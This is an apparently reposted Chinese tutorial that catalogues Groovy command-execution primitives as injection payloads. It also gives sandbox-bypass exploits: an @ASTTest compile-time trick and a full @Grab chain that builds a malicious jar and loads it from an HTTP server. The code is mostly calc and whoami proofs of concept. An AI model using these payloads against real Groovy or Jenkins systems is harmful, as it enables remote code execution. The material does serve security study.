Groovy命令执行指南

x33g5p2x  于9个月前 转载在 其他  
字(5.5k)|赞(0)|评价(0)|浏览(362)

Groovy命令执行指南

本指南介绍了利用 Groovy脚本 执行系统命令、使用 MethodClosure、GroovyShell、GroovyScriptEngine 等多种方式执行方法。

直接命令执行

Groovy 允许直接在脚本中执行系统命令。

  • 直接进行执行
  1. groovyCopy code
  2. // test.groovy
  3. //其他执行命令执行的方法
  4. Runtime.getRuntime().exec("calc")
  5. "calc".execute()
  6. 'calc'.execute()
  7. "${"calc".execute()}"
  8. "${'calc'.execute()}"
  • 执行后,回显的方式
  1. groovyCopy code
  2. // test.groovy
  3. println "whoami".execute().text
  4. println 'whoami'.execute().text
  5. println "${"whoami".execute().text}"
  6. println "${'whoami'.execute().text}"
  7. def cmd = "whoami";
  8. println "${cmd.execute().text}"

使用 MethodClosure

MethodClosure 允许将方法封装成闭包,便于执行。

示例 1:使用 Runtime.getRuntime().exec

  1. javaCopy code
  2. // test.java
  3. // 创建 MethodClosure 封装 exec 方法,并执行 calc 命令
  4. MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
  5. mc.call("calc");

示例 2:直接执行字符串命令

  1. javaCopy code
  2. // test.java
  3. // 创建 MethodClosure 直接封装并执行字符串命令
  4. MethodClosure mc = new MethodClosure("calc", "execute");
  5. mc.call();

GroovyShell

GroovyShell 类用于执行 Groovy 脚本,支持多种数据源。

从字符串执行

  1. javaCopy code
  2. // test.java
  3. // 使用 GroovyShell 从字符串执行 Groovy 代码
  4. GroovyShell groovyShell = new GroovyShell();
  5. String cmd = "\"whoami\".execute().text";
  6. System.out.println(groovyShell.evaluate(cmd));

从文件执行

  1. javaCopy code
  2. // test.java
  3. // 使用 GroovyShell 从文件执行 Groovy 脚本
  4. GroovyShell groovyShell = new GroovyShell();
  5. File file = new File("src/main/java/com/groovy/TestGroovyScript.groovy");
  6. System.out.println(groovyShell.evaluate(file));

从 URI 执行

  1. javaCopy code
  2. // test.java
  3. // 使用 GroovyShell 从 URI 执行 Groovy 脚本
  4. GroovyShell groovyShell = new GroovyShell();
  5. URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
  6. System.out.println(groovyShell.evaluate(uri));

GroovyScriptEngine

GroovyScriptEngine 用于从指定源加载和执行 Groovy 脚本。

从本地文件系统加载脚本

  1. javaCopy code
  2. // test.java
  3. // 使用 GroovyScriptEngine 从本地文件系统加载并执行脚本
  4. GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
  5. scriptEngine.run("TestGroovyScript.groovy", "");

从远程 URL 加载脚本

  1. javaCopy code
  2. // test.java
  3. // 使用 GroovyScriptEngine 从远程 URL 加载并执行脚本
  4. GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
  5. scriptEngine.run("exp.groovy", "");

GroovyScriptEvaluator

使用 GroovyScriptEvaluator 执行 Groovy 代码,支持 StaticScriptSource 和 ResourceScriptSource。

使用 StaticScriptSource

  1. javaCopy code
  2. // test.java
  3. // 使用 StaticScriptSource 执行 Groovy 代码
  4. GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
  5. ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
  6. System.out.println(groovyScriptEvaluator.evaluate(scriptSource));

使用 ResourceScriptSource

  1. javaCopy code
  2. // test.java
  3. // 使用 ResourceScriptSource 从 URL 加载并执行 Groovy 脚本
  4. Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
  5. ScriptSource source = new ResourceScriptSource(urlResource);
  6. System.out.println(groovyScriptEvaluator.evaluate(source));

GroovyClassLoader

GroovyClassLoader 用于在 Java 中加载和调用 Groovy 类。

  1. javaCopy code
  2. // test.java
  3. // 使用 GroovyClassLoader 加载并执行 Groovy 类
  4. GroovyClassLoader classLoader = new GroovyClassLoader();
  5. Class clazz = classLoader.parseClass("class Test {\n" +
  6. " static void main(String[] args) {\n" +
  7. " GroovyShell groovyShell = new GroovyShell();\n" +
  8. " String cmd = \"\\\"whoami\\\".execute().text\";\n" +
  9. " println(groovyShell.evaluate(cmd).toString());\n" +
  10. " }\n" +
  11. "}");
  12. GroovyObject object = (GroovyObject) clazz.newInstance();
  13. object.invokeMethod("main", "");

ScriptEngine

使用 javax.script.ScriptEngine 执行 Groovy 脚本。

  1. javaCopy code
  2. // test.java
  3. // 使用 ScriptEngine 执行 Groovy 脚本并获取输出
  4. ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
  5. System.out.println(scriptEngine.eval("\"whoami\".execute().text"));

Bypass 沙箱

某些环境下,会有groovy沙箱机制保护敏感脚本的执行(比如Jenkins中执行),这时候需要利用一些方法来绕过沙箱机制

@AST注解执行恶意类

使用@groovy.transform.ASTTest来进行沙箱绕过

  1. //test.groovy
  2. this.class.classLoader.parseClass('''
  3. @groovy.transform.ASTTest(value={
  4. assert Runtime.getRuntime().exec("calc")
  5. })
  6. def x
  7. ''')

注解的值是一个闭包,其中包含了恶意代码 Runtime.getRuntime().exec("calc"),该代码用于执行计算器程序。由于这段代码被注解标注,因此会在 AST 转换阶段被执行,绕过了沙箱的限制

@Grab注解加载远程恶意类

概述

Groovy的Grape机制允许开发者在不修改ClassPath的情况下,动态地引入Jar依赖。这可以通过使用@Grab注解实现,它指定了要下载和引入的库。然而,这个特性也可以被利用来动态地引入恶意代码,从而可能导致远程代码执行(RCE)。

环境准备
  1. 添加Ivy依赖:为了使Grape机制工作,需要向项目中添加Apache Ivy依赖。在项目的pom.xml中添加以下依赖项:
  1. xmlCopy code
  2. <dependency>
  3. <groupId>org.apache.ivy</groupId>
  4. <artifactId>ivy</artifactId>
  5. <version>2.4.0</version>
  6. </dependency>
  1. 编写恶意Exp类:创建一个名为Exp的Java类,其构造函数中包含要执行的恶意代码。例如,下面的代码尝试执行系统计算器:
  1. javaCopy code
  2. public class Exp {
  3. public Exp() {
  4. try {
  5. java.lang.Runtime.getRuntime().exec("calc");
  6. } catch (Exception e) { }
  7. }
  8. }
制作和部署恶意Jar包
  1. 编译Exp类:使用javac命令编译Exp.java文件。
  1. bashCopy code
  2. javac Exp.java
  1. 创建服务提供者配置文件:在META-INF/services/目录下创建一个服务提供者配置文件,指定Exp类作为org.codehaus.groovy.plugins.Runners的实现。
  1. bashCopy code
  2. mkdir -p META-INF/services/
  3. echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
  1. 打包Jar:将编译后的Exp.class文件和META-INF目录打包成Jar文件。
  1. bashCopy code
  2. jar cvf poc-0.jar Exp.class META-INF
  1. 部署Jar包:在Web服务器的根目录下创建test/poc/0/目录,并将打包好的Jar文件复制到该目录下。然后,启动HTTP服务以供远程访问。
  1. #本目录下新建test/poc/0/
  2. mkdir -p test/poc/0/
  3. #复制jar包到目录中
  4. #运行http服务器
  5. python3 -m http.server 8000
利用@Grab注解执行RCE

编写Groovy脚本,使用@Grab注解和相关配置来动态加载并执行远程Jar包中的Exp类:

  1. groovyCopy code
  2. this.class.classLoader.parseClass('''
  3. @GrabConfig(disableChecksums=true)
  4. @GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
  5. @Grab(group='test', module='poc', version='0')
  6. import Exp;
  7. ''')
执行过程

当运行上述Groovy脚本时,它会动态地从指定的HTTP服务下载并加载poc-0.jar,进而导入并实例化Exp类。由于Exp类的构造函数中包含了执行系统命令的代码,这将触发远程代码执行(RCE)。

相关文章